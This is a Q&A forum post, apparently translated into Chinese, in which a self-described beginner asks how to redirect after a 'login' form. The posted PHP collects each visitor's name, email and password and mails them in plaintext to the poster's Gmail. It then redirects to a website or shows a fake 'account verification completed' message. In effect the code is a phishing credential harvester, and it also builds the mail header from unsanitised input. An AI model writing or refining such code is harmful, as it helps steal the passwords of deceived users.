【发布时间】:2016-05-27 16:07:01
【问题描述】:
我是新手,我正在尝试学习如何编码。提交登录并通过并按登录后,我想重定向到我网站上的另一个页面(index.php)。
这是mail.php 代码
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
$formcontent=" From: $name \n $password \n email: $email \n ";
$recipient = "myemail@gmail.com";
$subject = "Contact Form";
$mailheader = "From: $email \r\n";
mail($recipient, $subject, $formcontent, $mailheader, $password) or die("Error!");
if(isset($_POST['mail'])){
// Fetching variables of the form which travels in URL
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
if($name !=''&& $email !=''&& $password !='')
{
// To redirect form on a particular page
header("Location:http://www.mywebsite.com");
}
else{
?><span><?php echo "Thank You! Your account verification was completed successfully";?></span> <?php
}
}
?>
【问题讨论】:
-
嗨,您能否对用例更具体一点,因为使用
header()应该可以完成重定向工作。谢谢 -
那么如果我只是被重定向,你怎么会认出我实际上是“登录”了?
-
请将您的代码减少到必要的最小值。例如。我看不出 CSS 和重定向之间有任何关系。 CSS 可以省略。
-
这与 HTML、CSS 或 FONTS 无关。
标签: php